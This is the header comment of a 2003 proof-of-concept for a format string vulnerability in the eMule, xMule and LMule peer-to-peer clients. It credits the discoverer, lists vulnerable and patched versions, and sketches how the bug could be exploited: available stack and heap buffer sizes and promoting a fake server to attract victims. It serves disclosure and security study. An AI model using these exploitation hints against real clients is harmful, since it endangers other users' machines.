/*
* eMule/xMule/LMule OP_SERVERMESSAGE Format String Vulnerability
* (SecurityFocus BID 8443)
* proof of concept code
* version 1.0 (Aug 29 2003)
*
* by Rémi Denis-Courmont
*
* This vulnerability was found by:
* Stefan Esser <s.esser@e-matters.de>
* whose original advisory may be fetched from:
* http://security.e-matters.de/advisories/022003.html
*
* Vulnerable:
* - eMule v0.29c -> wait for server connection timeout (!?! I need help !?!)
* - xMule stable v1.4.3 -> crash
* - xMule unstable v1.5.6a -> crash
* - Lmule v1.3.1 (NOT tested) -> ???
*
* There is something wrong with eMule 0.29c (exception handling) and it
* refuses to crash.
*
* Not vulnerable:
* - xMule stable v1.6.0,
* - eMule v0.30a.
*
* As a format string vulnerability over a possibly large format input
* buffer, experienced assembly coders (ie. NOT me) should be able to exploit
* this vulnerability (you can find as much as 2 mega-bytes available in the
* stack in the socket input buffer, and the message is also duplicated on
* the heap and can be as long as 65535 bytes). However, getting clients to
* connect to while not impossible, will be very very hard: Even though many
* clients adds current server of other clients to their own server lists, so
* that you can promote yourself as a server by actively connecting to others,
* it is unlikely that your "server" will be selected from the list which
* often exceeds 100 entries.
* Anyway, the following proof-of-concept is entirely passive, so you will
* probably only be able to test it against yourself (which is very fine,
* because you usually are you only legal victim).
